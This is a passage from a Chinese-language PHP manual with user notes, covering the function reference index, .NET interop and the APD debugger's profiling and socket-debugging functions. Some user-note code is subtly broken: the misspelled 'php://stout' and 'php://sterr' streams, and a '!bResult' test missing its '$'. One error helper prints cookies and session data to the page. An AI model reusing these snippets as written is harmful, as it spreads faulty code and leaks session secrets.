04-Aug-2002 12:17
If you want to get the output of a command use the function shell_exec($command) - it returns a string with the output of the command.
ben-php dot net at wefros dot com
14-Jun-2002 06:40
PHP 4.3 and above automatically have STDOUT, STDIN, and STDERR openned ... but < 4.3.0 do not.  This is how you make code that will work in versions previous to PHP 4.3 and future versions without any changes:

<?php
   if (version_compare(phpversion(),'4.3.0','<')) {
       define('STDIN',fopen("php://stdin","r"));
       define('STDOUT',fopen("php://stout","r"));
       define('STDERR',fopen("php://sterr","r"));
       register_shutdown_function( create_function( '' , 'fclose(STDIN); fclose(STDOUT); fclose(STDERR); return true;' ) );
   }

/* get some STDIN up to 256 bytes */
   $str = fgets(STDIN,256);
?>
philip at cornado dot com
25-Feb-2002 06:02
See also: http://www.phpbuilder.com/columns/darrell20000319.php3
pyxl at jerrell dot com
19-Feb-2002 03:52
Assuming --prefix=/usr/local/php, it's better to create a symlink from /usr/bin/php or /usr/local/bin/php to target /usr/local/php/bin/php so that it's both in your path and automatically correct every time you rebuild.  If you forgot to do that copy of the binary after a rebuild, you can do all kinds of wild goose chasing when things break.
add a note add a note

后退 | 起点 | 前进
被安全模式限制或屏蔽的函数 | 上一级 | 函数参考


函数参考

PHP 手册
后退 前进

VI. 函数参考

目录
I. .NET 函数
II. Advanced PHP debugger
III. Alternative PHP Cache
IV. Apache 特有函数
V. Array 数组函数
VI. Aspell 函数（已废弃）
VII. BC math 高精度数学函数
VIII. Bzip2 压缩函数
IX. Calendar 日历函数
X. CCVS API Functions [deprecated]
XI. Character Type Functions
XII. Classes/Objects 类／对象函数
XIII. Classkit Functions
XIV. ClibPDF Functions
XV. COM 和 .Net（Windows）函数
XVI. Crack Functions
XVII. Credit Mutuel CyberMUT functions
XVIII. CURL, Client URL Library Functions
XIX. Cybercash Payment Functions
XX. Cyrus IMAP administration Functions
XXI. Database (dbm-style) Abstraction Layer Functions
XXII. Date/Time 日期／时间函数
XXIII. DB++ Functions
XXIV. dBase Functions
XXV. DBM Functions [deprecated]
XXVI. dbx Functions
XXVII. Direct IO Functions
XXVIII. Directory 目录函数
XXIX. DOM Functions
XXX. DOM XML Functions
XXXI. Error Handling and Logging Functions
XXXII. Exif Functions
XXXIII. File Alteration Monitor Functions
XXXIV. filePro Functions
XXXV. Filesystem 文件系统函数
XXXVI. Firebird/InterBase Functions
XXXVII. Firebird/Interbase Functions (PDO_FIREBIRD)
XXXVIII. Forms Data Format Functions
XXXIX. FriBiDi Functions
XL. FrontBase Functions
XLI. FTP 函数
XLII. Function Handling Functions
XLIII. Gettext
XLIV. GMP Functions
XLV. GNU Readline
XLVI. GNU Recode Functions
XLVII. HTTP 函数
XLVIII. Hyperwave API Functions
XLIX. Hyperwave Functions
L. IBM DB2, Cloudscape and Apache Derby Functions
LI. ICAP Functions [deprecated]
LII. iconv Functions
LIII. ID3 Functions
LIV. IIS Administration Functions
LV. Image 图像函数
LVI. IMAP, POP3 and NNTP Functions
LVII. Informix Functions
LVIII. Ingres II Functions
LIX. IRC Gateway Functions
LX. KADM5
LXI. LDAP Functions
LXII. libxml Functions
LXIII. Lotus Notes Functions
LXIV. LZF Functions
LXV. Mail Functions
LXVI. mailparse Functions
LXVII. Math 数学函数
LXVIII. MaxDB PHP Extension
LXIX. MCAL Functions
LXX. Mcrypt Encryption Functions
LXXI. MCVE Payment Functions
LXXII. Memcache Functions
LXXIII. Mhash Functions
LXXIV. Microsoft SQL Server and Sybase Functions (PDO_DBLIB)
LXXV. Microsoft SQL Server Functions
LXXVI. Mimetype Functions
LXXVII. Ming functions for Flash
LXXVIII. Miscellaneous Functions
LXXIX. mnoGoSearch Functions
LXXX. Mohawk Software Session Handler Functions
LXXXI. mSQL Functions
LXXXII. Multibyte String Functions
LXXXIII. muscat Functions
LXXXIV. MySQL 函数
LXXXV. MySQL Functions (PDO_MYSQL)
LXXXVI. MySQL Improved Extension
LXXXVII. Ncurses Terminal Screen Control Functions
LXXXVIII. Network Functions
LXXXIX. Net_Gopher
XC. NSAPI-specific Functions
XCI. Object Aggregation/Composition Functions
XCII. Object property and method call overloading
XCIII. ODBC and DB2 functions (PDO_ODBC)
XCIV. ODBC Functions (Unified)
XCV. oggvorbis
XCVI. OpenAL Audio Bindings
XCVII. OpenSSL Functions
XCVIII. Oracle 函数
XCIX. Oracle Functions (PDO_OCI)
C. Oracle 函数（已废弃）
CI. Output Control 输出控制函数
CII. Ovrimos SQL Functions
CIII. Paradox File Access
CIV. Parsekit Functions
CV. PDF functions
CVI. PDO Functions
CVII. PHP / Java Integration
CVIII. PHP bytecode Compiler
CIX. PHP Options&Information
CX. POSIX Functions
CXI. PostgreSQL 数据库函数
CXII. PostgreSQL Functions (PDO_PGSQL)
CXIII. PostgreSQL Session Save Handler
CXIV. PostScript document creation
CXV. Printer Functions
CXVI. Process Control Functions
CXVII. Program Execution Functions
CXVIII. Pspell Functions
CXIX. qtdom Functions
CXX. Radius
CXXI. Rar Functions
CXXII. Perl 兼容正则表达式函数
CXXIII. POSIX 扩展正则表达式函数
CXXIV. runkit Functions
CXXV. SDO Functions
CXXVI. SDO Relational Data Access Service Functions
CXXVII. SDO XML Data Access Service Functions
CXXVIII. Secure Shell2 Functions
CXXIX. Semaphore, Shared Memory and IPC Functions
CXXX. SESAM Database Functions
CXXXI. Session Handling Functions
CXXXII. Shared Memory Functions
CXXXIII. Shockwave Flash Functions
CXXXIV. SimpleXML functions
CXXXV. SNMP 函数
CXXXVI. SOAP Functions
CXXXVII. Socket Functions
CXXXVIII. SQLite Functions
CXXXIX. SQLite Functions (PDO_SQLITE)
CXL. Standard PHP Library (SPL) Functions
CXLI. Stream Functions
CXLII. String 字符串处理函数
CXLIII. Sybase Functions
CXLIV. TCP Wrappers Functions
CXLV. Tidy Functions
CXLVI. Tokenizer Functions
CXLVII. Unicode Functions
CXLVIII. URL 函数
CXLIX. Variable 变量函数
CL. Verisign Payflow Pro Functions
CLI. vpopmail Functions
CLII. W32api 函数
CLIII. WDDX Functions
CLIV. xattr Functions
CLV. xdiff Functions
CLVI. XML 语法解析函数
CLVII. XML-RPC 函数
CLVIII. XMLReader functions
CLIX. XSL functions
CLX. XSLT Functions
CLXI. YAZ Functions
CLXII. YP/NIS Functions
CLXIII. Zip File Functions (Read Only Access)
CLXIV. Zlib Compression Functions

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PHP 的命令行模式 |  | .NET 函数


.NET 函数

PHP 手册
后退 前进

I. .NET 函数

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

目录
dotnet_load -- 加载一个 DOTNET 模块

add a note add a note User Contributed Notes
zorzo(at)andrezorzo(dot)com
20-Oct-2005 08:53
See also:
http://php4mono.sourceforge.net/
tom_crawford at hotmail dot com
16-Jun-2004 07:38
Jayesh Jain article can be found here (the link above didn't work for me):

http://www.devarticles.com/c/a/PHP/Using-the-.NET-Assembly-in-PHP

Cheers,
Tom.
12-Feb-2003 11:14
Sterling has been working on the ability to use Mono with PHP which essentially allows .NET and more information can be seen here:
http://www.php.net/~sterling/mono/
16-Mar-2002 07:06
See also:
http://www.go-mono.com/ and http://www.gnu.org/projects/dotgnu/
02-Feb-2002 12:18
www.gotdotnet.com has lots of goodies
m dot saladna at pop dot classicgamez dot cx
20-Dec-2001 12:09
A nice initial reference site I ran across to learn about dotnet-related functionality is http://www.andymcm.com/dotnetfaq.htm
add a note add a note

后退 | 起点 | 前进
函数参考 | 上一级 | dotnet_load


dotnet_load

(no version information, might be only in CVS)

dotnet_load -- 加载一个 DOTNET 模块

说明

int dotnet_load ( string assembly_name [, string datatype_name [, int codepage]] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
Mensch
08-Oct-2005 06:54
I think this function only works with microsoft servers.
jainjayesh74 at yahoo dot com
22-Oct-2002 09:49
Hi Everyone,

The Component Object Model (COM) allows an object to expose its functionality to other components and to host applications. Interoperability with COM -- or COM interop -- allows you to create a COM wrapper around the .NET components, which makes Windows look at them as COM objects and thus makes them available to all of the calling COM applications  including the beloved PHP.

PHP has built-in functionality to use COM objects. Using the COM interop feature of .NET, we will create a wrapper around the .NET assembly and use it in PHP.

I have written a detailed article on how to do this please visit

http://www.devarticles.com/art/1/222

Cheers
Jayesh Jain

P.S Thank you Micheal and Thomas for your help
thomas dot weidner at voxtronic dot com
23-Jul-2002 06:54
To realise functions within Microsoft.NET which can use with every type of parameter as boolean, integer, string or any other type you want to use do the following.

Write your function in .NET :
CSharp Example :
MyFunction (params object[] parameters)
{
   if (parameters[0].GetType().ToString() == "System.Int32")
       return "Parameter 0 is an Integer";
   return "Parameter 0 is no Integer";
}

Within PHP do the following :

$parameter[0] = 12345;
$parameter[1] = "My String";
$parameter[2] = false;
$obj = new COM ("NameSpace.Class");
$value = $obj -> MyFunction($parameter)
print($value);

How to work with params and object you could read within the .NET Documentation.

If you have any further question dont be afraid and write me...

Bye
Thomas
Thomas dot Weidner at voxtronic dot com
22-Jul-2002 05:12
I`ve found an workaround to use the Microsoft.NET within PHP but without the need of compiling the DOTNET.DLL of PHP.

At first write the functions you want to need within PHP in the Microsoft.NET Languages (I`m working in CSharp).

Then make your FunctionsLibrary StrongNamed. Read about how to do this in the SDK-Help. (Key, Version...)

Then you have to register your DLL in GAC.
For this you have to do REGASM /tlb:your.tlb your.dll
Then you have to do GACUTIL /if your.dll

After this your DLL will be recognised with in the whole .NET.

Now... to use your DLL within PHP you just have to use an ordinary COM Object.

$MyObj = new COM ("NameSpace.Class");
$ReturnValue = $MyObj -> MyFunction($MyParams);
$MyObj = NULL;

$MyParams could be any type. For example an Array.

I tested this with PHP 4.2.1, RDK-Framework, SDK-Frwamework, Visual Studio and SharpDevelop. You have not to recompile PHP because you dont need the DOTNET.DLL .

The only negative aspect within this way due to COMRestrictions is, that REF or OUT Values are not returned. So you have only one return value.
But for an good written function this should be no great restriction.

If you have any further question dont be afraid and write to me...

Bye
Thomas
mb at netminers dot dk
30-Apr-2002 02:34
Now we are working!
Well that means that if you want to use the .NET modules, from PHP, you'll have to build a new php_dotnet.dll file.
The problem with the existing code is the interface versions of the COM object needed to mix unmanaged code with managed code.

To fix this minor issue, replace
#include "mscorlib.h", in the extensions project of the PHP4.2 source, with the following type library binary file import.
#import "mscorlib.tlb" raw_interfaces_only high_property_prefixes("_get","_put","_putref")

The type library file is converted to a type library header file which is then automatically included by Visual Studio, presuming you are using that. :o)
Have fun! (Mail me if this description was too bad, I can mail the new php_dotnet.dll)

By the way the tlbexp.exe SDK tool can generate the .tlb file.

I'll check with the PHP group to verify they are aware of the issue, so it's nicely fixed in a future release of PHP.

Great stuff,
Michael
add a note add a note

后退 | 起点 | 前进
.NET 函数 | 上一级 | Advanced PHP debugger


Advanced PHP debugger

PHP 手册
后退 前进

II. Advanced PHP debugger

简介

APD is the Advanced PHP Debugger. It was written to provide profiling and debugging capabilities for PHP code, as well as to provide the ability to print out a full stack backtrace. APD supports interactive debugging, but by default it writes data to trace files. It also offers event based logging so that varying levels of information (including function calls, arguments passed, timings, etc.) can be turned on or off for individual scripts.

注意

APD is a Zend Extension, modifying the way the internals of PHP handle function calls, and thus may or may not be compatible with other Zend Extensions (for example Zend Optimizer).

安装

APD is currently available as a PECL extension from http://pecl.php.net/package/apd. Make sure you have installed the CGI version of PHP and it is available in your current path along with the phpize script.

Run the following command to download, build, and install the latest stable version of APD:
pear install apd

This automatically installs the APD Zend module into your PHP extensions directory. It is not mandatory to keep it there; you can store the module in any directory PHP can read as long as you set the zend_extension parameter accordingly.

Windows users can download the extension dll php_apd.dll from http://snaps.php.net/win32/PECL_STABLE/.

In your INI file, add the following lines:

zend_extension = /absolute/path/to/apd.so
apd.dumpdir = /absolute/path/to/trace/directory
apd.statement_tracing = 0

Depending on your PHP build, the zend_extension directive can be one of the following:

zend_extension              (non ZTS, non debug build)
zend_extension_ts           (    ZTS, non debug build)
zend_extension_debug        (non ZTS,     debug build)
zend_extension_debug_ts     (    ZTS,     debug build)

Building on Win32

To build APD under Windows you need a working PHP compilation environment as described on http://php.net/ -- basically, it requires you to have Microsoft Visual C++, win32build.zip, bison/flex, and some know how to get it to work. Also ensure that adp.dsp has DOS line endings; if it has unix line endings, Microsoft Visual C++ will complain about it.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. APD Configuration Options

Name | Default | Changeable | Changelog
apd.dumpdir | NULL | PHP_INI_ALL |
apd.statement_tracing | "0" | PHP_INI_ALL |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

apd.dumpdir string

Sets the directory in which APD writes profile dump files. You can specify an absolute path or a relative path.

You can specify a different directory as an argument to apd_set_pprof_trace().

apd.statement_tracing boolean

Specfies whether or not to do per-line tracings. Turning this on (1) will impact the performance of your application.

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

How to use PHP-APD in your scripts

  1. As the first line of your PHP script, call the apd_set_pprof_trace() function to start the trace:

    apd_set_pprof_trace();

    You can insert the line anywhere in your script, but if you do not start tracing at the beginning of your script you discard profile data that might otherwise lead you to a performance bottleneck.

  2. Now run your script. The dump output will be written to apd.dumpdir/pprof_pid.ext.

    提示: If you're running the CGI version of PHP, you will need to add the '-e' flag to enable extended information for apd to work properly. For example: php -e -f script.php

  3. To display formatted profile data, issue the pprofp command with the sort and display options of your choice. The formatted output will look something like:
    bash-2.05b$ pprofp -R /tmp/pprof.22141.0

Trace for /home/dan/testapd.php
Total Elapsed Time = 0.00
Total System Time  = 0.00
Total User Time    = 0.00

Real         User        System             secs/    cumm
%Time (excl/cumm)  (excl/cumm)  (excl/cumm) Calls    call    s/call  Memory Usage Name
--------------------------------------------------------------------------------------
100.0 0.00 0.00  0.00 0.00  0.00 0.00     1  0.0000   0.0009            0 main
56.9 0.00 0.00  0.00 0.00  0.00 0.00     1  0.0005   0.0005            0 apd_set_pprof_trace
28.0 0.00 0.00  0.00 0.00  0.00 0.00    10  0.0000   0.0000            0 preg_replace
14.3 0.00 0.00  0.00 0.00  0.00 0.00    10  0.0000   0.0000            0 str_replace

    The -R option used in this example sorts the profile table by the amount of real time the script spent executing a given function. The "cumm call" column reveals how many times each function was called, and the "s/call" column reveals how many seconds each call to the function required, on average.

  4. To generate a calltree file that you can import into the KCacheGrind profile analysis application, issue the pprof2calltree comand.

Contact information

If you have comments, bugfixes, enhancements or want to help developing this beast, you can send an mail to apd@mail.communityconnect.com. Any help is very welcome.

目录
apd_breakpoint -- Stops the interpreter and waits on a CR from the socket
apd_callstack -- Returns the current call stack as an array
apd_clunk -- Throw a warning and a callstack
apd_continue -- Restarts the interpreter
apd_croak -- Throw an error, a callstack and then exit
apd_dump_function_table -- Outputs the current function table
apd_dump_persistent_resources -- Return all persistent resources as an array
apd_dump_regular_resources -- Return all current regular resources as an array
apd_echo -- Echo to the debugging socket
apd_get_active_symbols -- Get an array of the current variables names in the local scope
apd_set_pprof_trace -- Starts the session debugging
apd_set_session_trace -- Starts the session debugging
apd_set_session -- Changes or sets the current debugging level
apd_set_socket_session_trace -- Starts the remote session debugging
override_function -- Overrides built-in functions
rename_function -- Renames orig_name to new_name in the global function_table

add a note add a note User Contributed Notes
judas dot iscariote at gmail dot com
08-May-2006 01:52
if you are looking for better/different alternatives to APD, check the xdebug website http://www.xdebug.org or download it from PECL http://pecl.php.net/xdebug
bugbuster at darrencampbell dot com dot au
23-May-2005 04:53
Locate the root-cause of defects, fast.

If you need to locate the source of a defect in complicated web-based PHP applications with lots of conditional includes (osCommerce and Zen-Cart are reasonably complex), use APD to create a profile dump.

Then filter the dump for lines containing "!" to produce a list of included (required) files in the order they were included.

On my Win98 dev box I use: find "!" dumpfile > trace_program.txt

I use the trace_program.txt to backtrack to the root-cause of defects appearing in the browser.  Great for maintaining systems you did not build yourself.
ng4rrjanbiah at rediffmail dot com
06-Apr-2005 01:52
Some useful links on APD:
1. Profiling PHP Applications ( http://www.schlossnagle.org/~george/talks/Profiling-phpworks-2004.pdf ), [1.40 MB], George Schlossnagle, 2004-09-23
2. PHP Performance Profiling ( http://www.linuxjournal.com/article/7213 ), [13.16 KB], Jonathan Oxer, 2003-10-21
3. APD Wiki ( http://www.wiki.cc/php/Apd )

HTH,
R. Rajesh Jeba Anbiah
yoghurtmetperzik at gmail dot com
25-Jan-2005 11:15
If pprofp reports 'No such file or directory', it's probably because it contains an incorrect path to your php client. Open pprofp in your fav editor, edit the first line, and try again.
add a note add a note

后退 | 起点 | 前进
dotnet_load | 上一级 | apd_breakpoint


apd_breakpoint

(PECL)

apd_breakpoint -- Stops the interpreter and waits on a CR from the socket

Description

bool apd_breakpoint ( int debug_level )

This can be used to stop the running of your script, and await responses on the connected socket. To step the program, just send enter (a blank line), or enter a php command to be executed. A typical session using tcplisten would look like this.

bash#tcplisten localhost 7777

APD - Advanced PHP Debugger Trace File
---------------------------------------------------------------------------
Process Pid (6118)
Trace Begun at Sun Mar 10 23:13:12 2002
---------------------------------------------------------------------------
(  0.000000): apd_set_session_trace called at /home/alan/Projects/project2/test.
php:5
(  0.074824): apd_set_session_trace_socket() at /home/alan/Projects/project2/tes
t.php:5 returned.  Elapsed (0.074824)
(  0.074918): apd_breakpoint() /home/alan/Projects/project2/test.php:7
              ++ argv[0] $(??) = 9
apd_breakpoint() at /home/alan/Projects/project2/test.php:7 returned.  Elapsed (
-2089521468.1073275368)
>\n
statement: /home/alan/Projects/project2/test.php:8
>\n
statement: /home/alan/Projects/project2/test.php:8
>\n
statement: /home/alan/Projects/project2/test.php:10
>apd_echo($i);
EXEC: apd_echo($i);
0
>apd_echo(serialize(apd_get_active_symbols()));
EXEC:  apd_echo(serialize(apd_get_active_symbols()));
a:47:{i:0;s:4:"PWD";i:1;s:10:"COLORFGBG";i:2;s:11:"XAUTHORITY";i:3;s:14:"
COLORTERM_BCE";i:4;s:9:"WINDOWID";i:5;s:14:"ETERM_VERSION";i:6;s:16:"SE
SSION_MANAGER";i:7;s:4:"PS1";i:8;s:11:"GDMSESSION";i:9;s:5:"USER";i:10;s:5:"
MAIL";i:11;s:7:"OLDPWD";i:12;s:5:"LANG";i:13;s:10:"COLORTERM";i:14;s:8:"DISP
LAY";i:15;s:8:"LOGNAME";i:16;s:6:"
>apd_echo(system('ls /home/mydir'));
........
>apd_continue(0);

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Advanced PHP debugger | 上一级 | apd_callstack


apd_callstack

(no version information, might be only in CVS)

apd_callstack -- Returns the current call stack as an array

Description

array apd_callstack ( void )

Returns the current call stack as an array

例子 1. apd_callstack() example

<?php
print_r(apd_callstack());
?>

add a note add a note User Contributed Notes
andrewpunch at bigfoot.com
12-Sep-2005 05:59
The returned array contains an array of arrays.

Each array appears to contain:
[0] = function name
[1] = filename that contains function
[2] = *calling* line number in *calling* file
[3] = An array which is usually empty
add a note add a note

后退 | 起点 | 前进
apd_breakpoint | 上一级 | apd_clunk


apd_clunk

(no version information, might be only in CVS)

apd_clunk -- Throw a warning and a callstack

Description

void apd_clunk ( string warning [, string delimiter] )

Behaves like perl's Carp::cluck. Throw a warning and a callstack. The default line delimiter is "<BR />\n".

例子 1. apd_clunk() example

<?php
apd_clunk("Some Warning","<P>");
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apd_callstack | 上一级 | apd_continue


apd_continue

(PECL)

apd_continue -- Restarts the interpreter

Description

bool apd_continue ( int debug_level )

Usually sent via the socket to restart the interpreter.

例子 1. apd_continue() example

<?php
apd_continue(0);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apd_clunk | 上一级 | apd_croak


apd_croak

(no version information, might be only in CVS)

apd_croak -- Throw an error, a callstack and then exit

Description

void apd_croak ( string warning [, string delimiter] )

Behaves like perl's Carp::croak. Throw an error, a callstack and then exit. The default line delimiter is "<BR />\n".

例子 1. apd_croak() example

<?php
apd_croak("Some Warning","<P>");
?>

add a note add a note User Contributed Notes
php at peous dot com
06-Jul-2005 03:18
// A function that "ASSERTS", ie that dies if the boolean in parameter is false
// ex: verify( $myDatabase->Connect() );
function verify( $bResult )
{
   if (!bResult)
   {
       echo "<hr><h1>ERROR</h1><hr>";
       echo "<pre>Last call arguments:\n";
       for($i=0;$i<func_num_args();$i++)
       {    echo "&rarr;";
           print_r( func_get_arg ($i) );
           echo "&larr;\n";
       }
       if (sizeof($_GET))
       {    echo "<hr>GET VARS\n";
           print_r( $_GET );
       }
       if (sizeof($_POST))
       {    echo "<hr>POST VARS\n";
           print_r( $_POST );
       }
       if (sizeof($_SERVER))
       {    echo "<hr>SERVER VARS\n";
           print_r( $_SERVER );
       }
       if (sizeof($_COOKIE ))
       {    echo "<hr>COOKIE VARS\n";
           print_r( $_COOKIE  );
       }
       // Disable if not on a protected server
       if (sizeof($_SESSION ))
       {    echo "<hr>SESSION VARS\n";
           print_r( $_SESSION  );
       }
       echo "</pre>";
       echo "<hr>";
       if (function_exists("apd_callstack"))
       {    apd_croak("Error !");
       }
       else
       {    die(1);
       }
   }
}
add a note add a note

后退 | 起点 | 前进
apd_continue | 上一级 | apd_dump_function_table


apd_dump_function_table

(no version information, might be only in CVS)

apd_dump_function_table -- Outputs the current function table

Description

void apd_dump_function_table ( void )

Outputs the current function table.

例子 1. apd_dump_function_table() example

<?php
apd_dump_function_table();
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apd_croak | 上一级 | apd_dump_persistent_resources


apd_dump_persistent_resources

(no version information, might be only in CVS)

apd_dump_persistent_resources -- Return all persistent resources as an array

Description

array apd_dump_persistent_resources ( void )

Return all persistent resources as an array.

例子 1. apd_dump_persistent_resources() example

<?php
print_r(apd_dump_persistent_resources());
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apd_dump_function_table | 上一级 | apd_dump_regular_resources


apd_dump_regular_resources

(no version information, might be only in CVS)

apd_dump_regular_resources -- Return all current regular resources as an array

Description

array apd_dump_regular_resources ( void )

Return all current regular resources as an array.

例子 1. apd_dump_regular_resources() example

<?php
print_r(apd_dump_regular_resources());
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apd_dump_persistent_resources | 上一级 | apd_echo


apd_echo

(PECL)

apd_echo -- Echo to the debugging socket

Description

bool apd_echo ( string output )

Usually sent via the socket to request information about the running script.

例子 1. apd_echo() example

<?php
apd_echo($i);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apd_dump_regular_resources | 上一级 | apd_get_active_symbols


apd_get_active_symbols

(no version information, might be only in CVS)

apd_get_active_symbols -- Get an array of the current variables names in the local scope

Description

array apd_get_active_symbols ( )

Returns the names of all the variables defined in the active scope, (not their values)

例子 1. apd_get_active_symbols() example

<?php
apd_echo(apd_get_active_symbols());
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apd_echo | 上一级 | apd_set_pprof_trace


apd_set_pprof_trace

(PECL)

apd_set_pprof_trace -- Starts the session debugging

Description

void apd_set_pprof_trace ( [string dump_directory] )

Starts debugging to {dump_directory}/pprof_{process_id}, if dump_directory is not set, then the apd.dumpdir setting from the php.ini file is used.

例子 1. apd_set_pprof_trace() example

<?php
apd_set_pprof_trace();
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apd_get_active_symbols | 上一级 | apd_set_session_trace


apd_set_session_trace

(no version information, might be only in CVS)

apd_set_session_trace -- Starts the session debugging

Description

void apd_set_session_trace ( int debug_level [, string dump_directory] )

Starts debugging to {dump_directory}/apd_dump_{process_id}, if dump_directory is not set, then the apd.dumpdir setting from the php.ini file is used.

debug_level is an integer which is formed by adding together the following values:

FUNCTION_TRACE      1
        ARGS_TRACE          2
        ASSIGNMENT_TRACE    4
        STATEMENT_TRACE     8
        MEMORY_TRACE        16
        TIMING_TRACE        32
        SUMMARY_TRACE       64

I would seriously not recommend using MEMORY_TRACE. It is very slow and does not appear to be accurate (great, huh?) also ASSIGNMENT_TRACE is not implemented. So, to turn on all functional traces (TIMING, FUNCTIONS, ARGS SUMMARY (like strace -c)) use the value 99

例子 1. apd_set_session_trace() example

<?php
apd_set_session_trace(99);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apd_set_pprof_trace | 上一级 | apd_set_session


apd_set_session

(no version information, might be only in CVS)

apd_set_session -- Changes or sets the current debugging level

Description

void apd_set_session ( int debug_level )

This can be used to increase or decrease debugging in a different area of your application,.debug_level is an integer which is formed by adding together the following values:

FUNCTION_TRACE      1
        ARGS_TRACE          2
        ASSIGNMENT_TRACE    4
        STATEMENT_TRACE     8
        MEMORY_TRACE        16
        TIMING_TRACE        32
        SUMMARY_TRACE       64

例子 1. apd_set_session() example

<?php
apd_set_session(9);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apd_set_session_trace | 上一级 | apd_set_socket_session_trace


apd_set_socket_session_trace

(no version information, might be only in CVS)

apd_set_socket_session_trace -- Starts the remote session debugging

Description

bool apd_set_socket_session_trace ( string ip_address_or_unix_socket_file, int socket_type, int port, int debug_level )

Connects to the tcp server (eg. tcplisten) specified IP or Unix Domain socket (like a file), and sends debugging data to the socket. You can use any port, but higher numbers are better as most of the lower numbers may be used by other system services.

the socket_type can be APD_AF_UNIX (for file based sockets) or APD_AF_INET (for standard tcp/ip)

debug_level is an integer which is formed by adding together the following values:

FUNCTION_TRACE      1
        ARGS_TRACE          2
        ASSIGNMENT_TRACE    4
        STATEMENT_TRACE     8
        MEMORY_TRACE        16
        TIMING_TRACE        32
        SUMMARY_TRACE       64

I would seriously not recommend setting the value to 'zero' to start with, and use the breakpoint methods to start debugging at a specific place in the file.

例子 1. apd_set_socket_session_trace() example

<?php
  apd_set_socket_session_trace("127.0.0.1",APD_AF_INET,7112,0);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
apd_set_session | 上一级 | override_function


override_function

(PECL)

override_function -- Overrides built-in functions

Description

bool override_function ( string function_name, string function_args, string function_code )

Syntax similar to create_function(). Overrides built-in functions (replaces them in the symbol table).

例子 1. override_function() example

<?php
override_function('test', '$a,$b', 'echo "DOING TEST"; return $a * $b;');
?>

add a note add a note User Contributed Notes
rojaro at gmail dot com
21-Sep-2005 03:13
Since Apache 1 & 2 use diffrent methods (Unicode vs. UTF8) on Win32 platforms to encode urls, i've implemented the following workaround to get around this "bug" (which is actually known behaviour and wont get fixed). This workaround is really usefull when writing PHP scripts which have to work on all platforms (Windows, Linux, BSD etc.), must process URLs and must work under both Apache versions.

<?php
$httpd = explode(' ', $_SERVER['SERVER_SOFTWARE']);
if(substr($httpd[0], 0, 6)=='Apache' && substr($httpd[0], 7, 1)==2 && $httpd[1]=='(Win32)')
{
  if(isset($_SERVER['REQUEST_URI'])) $_SERVER['REQUEST_URI'] = str_replace('%2F', '/', rawurlencode(utf8_decode(rawurldecode($_SERVER['REQUEST_URI']))));
  if(isset($_SERVER['REDIRECT_URL'])) $_SERVER['REDIRECT_URL'] = str_replace('%2F', '/', rawurlencode(utf8_decode(rawurldecode($_SERVER['REDIRECT_URL']))));
  override_function('urlencode', '$url', 'return str_replace("%2F", "/", rawurlencode(utf8_encode($url)));');
}
?>
php at undeen dot com
11-Mar-2005 04:07
I thought the example was not very helpful, because it doesn't even override the function with another function.
My question was: If I override a function, can I call the ORIGINAL function within the OVERRIDING function?
ie, can I do this:
<?php
override_function('strlen', '$string', 'return override_strlen($string);');
function override_strlen($string){
       return strlen($string);
}
?>
The answer: NO, you will get a segfault.

HOWEVER, if you use rename_function to rename the original function to a third name, then call the third name in the OVERRIDING function, you will get the desired effect:
<?php
rename_function('strlen', 'new_strlen');
override_function('strlen', '$string', 'return override_strlen($string);');

function override_strlen($string){
       return new_strlen($string);
}
?>

I plan to use this functionality to generate log reports every time a function is called, with the parameters, time, result, etc... So to wrap a function in logging, that was what I had to do.
add a note add a note

后退 | 起点 | 前进
apd_set_socket_session_trace | 上一级 | rename_function


rename_function

(PECL)

rename_function -- Renames orig_name to new_name in the global function_table

Description

bool rename_function ( string original_name, string new_name )

Renames orig_name to new_name in the global function_table. Useful for temporarily overriding builtin functions.

例子 1. rename_function() example

<?php
rename_function('mysql_connect', 'debug_mysql_connect' );
?>

add a note add a note User Contributed Notes
Matt
24-Mar-2006 07:23
As of apd 1.0.1, rename_function is case sensitive.  The parameter original_name must be all lowercase for it to work properly.  Your function can still be camel case, for example, but you must specify that function as all lower case for the original_name parameter.
add a note add a note

后退 | 起点 | 前进
override_function | 上一级 | Alternative PHP Cache


Alternative PHP Cache

PHP 手册
后退 前进

III. Alternative PHP Cache

简介

The Alternative PHP Cache (APC) is a free and open opcode cache for PHP. It was conceived of to provide a free, open, and robust framework for caching and optimizing PHP intermediate code.

安装

本 PECL 扩展未绑定于 PHP 中。

进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/apc.

可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。

注: On Windows, APC expects c:\tmp to exist, and be writable by the web server.

注: For more in-depth, highly technical documentation, see the developer-supplied TECHNOTES file .

运行时配置

这些函数的行为受 php.ini 的影响。

Although the default APC settings are fine for many installations, serious users should consider tuning the following parameters.

表格 1. APC configuration options

Name | Default | Changeable | Changelog
